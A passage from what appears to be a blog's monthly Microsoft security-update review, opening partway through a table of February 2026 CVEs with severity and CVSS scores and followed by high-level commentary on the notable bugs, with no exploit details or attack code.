  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
